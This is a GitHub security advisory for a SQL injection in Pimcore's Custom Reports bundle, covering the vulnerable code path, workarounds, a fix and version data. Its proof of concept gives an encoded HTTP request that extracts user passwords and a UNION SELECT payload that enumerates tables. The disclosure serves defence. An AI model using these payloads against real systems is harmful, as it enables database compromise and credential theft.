GHSA-23RH-XW42-FQ82
Vulnerability from github – Published: 2026-09-10 19:25 – Updated: 2026-09-10 19:25Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
Summary
Impact
A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.
Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
Workarounds
- Restrict
reports_configpermission to only highly trusted administrators - Deploy a WAF rule to block requests to
/admin/bundle/customreports/custom-report/updatecontaining SQL keywords in theconfigurationparameter - Replace the custom SQL adapter with a parameterized query builder approach
Attack Path (Validation Evidence)
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
↓ Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql']; // Line 92
$sql .= "\n" . $config['from']; // Line 103
$sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
$sql .= "\n" . $config['groupby']; // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql); // Line 54
↓
[Impact] Arbitrary SQL execution — full database compromise
Taint Flow (Validation Evidence)
Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
↓ json_decode() → stdClass
[Store] Persistent in database (custom_reports table)
[Load] Config::getByName() → stdClass $config
↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink] $db->fetchAllAssociative($concatenatedSql)
↓
Impact: Attacker-controlled SQL executed against the database
Proof of Concept
Steps
- Authenticate as an admin user with
reports_configpermission - Send a report update request with malicious SQL in the configuration:
Request
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>
name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
- Access the report data endpoint to retrieve extracted user credentials
- Alternatively, the
wherefield can be set to:1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLESto enumerate all database tables
Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
Affected Component
- File:
bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php - Method:
buildQueryString()(lines 84-135),getBaseQuery()(lines 137-216),getData()(lines 25-58) - Class:
Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql
Fix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.1.5"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "2026.1.0"
},
{
"fixed": "2026.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.3.9"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0-RC1"
},
{
"fixed": "12.3.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 11.5.18"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.5.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55416"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T19:25:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration\n\n## Summary\n\n### Impact\n\nA SQL injection vulnerability exists in the Custom Reports bundle (`bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135`). An authenticated attacker with `reports_config` permission can inject arbitrary SQL via the report configuration fields (`sql`, `from`, `where`, `groupby`), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for `ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE` keywords, which is trivially bypassable \u2014 it does not block `INSERT`, `UNION SELECT`, `LOAD_FILE()`, `INTO OUTFILE`, stacked queries, subqueries, or MySQL comment injection (`/*!*/`). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.\n\nAdditionally, the LIMIT clause at line 51 directly interpolates `$offset` and `$limit` without integer casting, creating a secondary injection point.\n\n### Patches\n\nVersions 2026.1.6, 12.3.10, 11.5.19.\n\n### Workarounds\n\n1. Restrict `reports_config` permission to only highly trusted administrators\n2. Deploy a WAF rule to block requests to `/admin/bundle/customreports/custom-report/update` containing SQL keywords in the `configuration` parameter\n3. Replace the custom SQL adapter with a parameterized query builder approach\n\n## Attack Path (Validation Evidence)\n\n```\n[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1\n \u2193 (requires reports_config permission + valid admin session)\n[Controller] CustomReportController::updateAction()\n \u2193 $configuration = decodeJson($request-\u003erequest-\u003egetString(\u0027configuration\u0027))\n[Config Store] Configuration saved to custom_reports database table\n[Config Load] Tool\\Config::getByName() loads stdClass $config from DB\n \u2193\n[Adapter] Sql::getBaseQuery() \u2192 Sql::buildQueryString($config)\n \u2193 Directly concatenates config fields:\n[Vulnerable] $sql .= \"\\n\" . $config[\u0027sql\u0027]; // Line 92\n $sql .= \"\\n\" . $config[\u0027from\u0027]; // Line 103\n $sql .= \"\\n\" . \u0027WHERE (\u0027 . $config[\u0027where\u0027] . \u0027)\u0027; // Line 110\n $sql .= \"\\n\" . $config[\u0027groupby\u0027]; // Line 117\n[Weak Guard] preg_match(\u0027/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\\s/i\u0027, ...)\n \u2193 \u2717 Bypassable \u2014 missing INSERT, UNION, SELECT, subqueries, comments\n[Execution] $db-\u003efetchAllAssociative($sql); // Line 54\n \u2193\n[Impact] Arbitrary SQL execution \u2014 full database compromise\n```\n\n## Taint Flow (Validation Evidence)\n\n```\nSource: $request-\u003erequest-\u003egetString(\u0027configuration\u0027) (HTTP POST body, user-controlled)\n \u2193 json_decode() \u2192 stdClass\n[Store] Persistent in database (custom_reports table)\n[Load] Config::getByName() \u2192 stdClass $config\n \u2193 \u2717 No sanitization (only bypassable regex blacklist)\n[Sink] $db-\u003efetchAllAssociative($concatenatedSql)\n \u2193\nImpact: Attacker-controlled SQL executed against the database\n```\n\n## Proof of Concept\n\n### Steps\n\n1. Authenticate as an admin user with `reports_config` permission\n2. Send a report update request with malicious SQL in the configuration:\n\n### Request\n\n```http\nPOST /admin/bundle/customreports/custom-report/update HTTP/1.1\nHost: \u003ctarget-host\u003e\nContent-Type: application/x-www-form-urlencoded\nCookie: PHPSESSID=\u003cvalid_admin_session\u003e\n\nname=malicious_report\u0026configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D\n```\n\n3. Access the report data endpoint to retrieve extracted user credentials\n4. Alternatively, the `where` field can be set to:\n ```\n 1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES\n ```\n to enumerate all database tables\n\n### Expected Result\n\nThe custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.\n\n## Affected Component\n\n- **File:** `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php`\n- **Method:** `buildQueryString()` (lines 84-135), `getBaseQuery()` (lines 137-216), `getData()` (lines 25-58)\n- **Class:** `Pimcore\\Bundle\\CustomReportsBundle\\Tool\\Adapter\\Sql`\n\n## Fix Recommendation\n\nReplace the custom SQL concatenation approach with a parameterized query builder:\n\n```php\n// Instead of:\n$sql .= \"\\n\" . $config[\u0027sql\u0027];\n$sql .= \"\\n\" . $config[\u0027from\u0027];\n$sql .= \"\\n\" . \u0027WHERE (\u0027 . $config[\u0027where\u0027] . \u0027)\u0027;\n\n// Use a whitelist-based approach:\n// 1. Only allow predefined table names from a whitelist\n// 2. Use Doctrine QueryBuilder for WHERE conditions\n// 3. Use parameterized queries for all user-supplied values\n// 4. Cast LIMIT/OFFSET to integers\n\n$sql .= \u0027 LIMIT \u0027 . (int)$offset . \u0027,\u0027 . (int)$limit;\n```\n\n## Resources\n\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)\n- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)",
"id": "GHSA-23rh-xw42-fq82",
"modified": "2026-09-10T19:25:05Z",
"published": "2026-09-10T19:25:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-23rh-xw42-fq82"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/pimcore"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v11.5.19"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.10"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.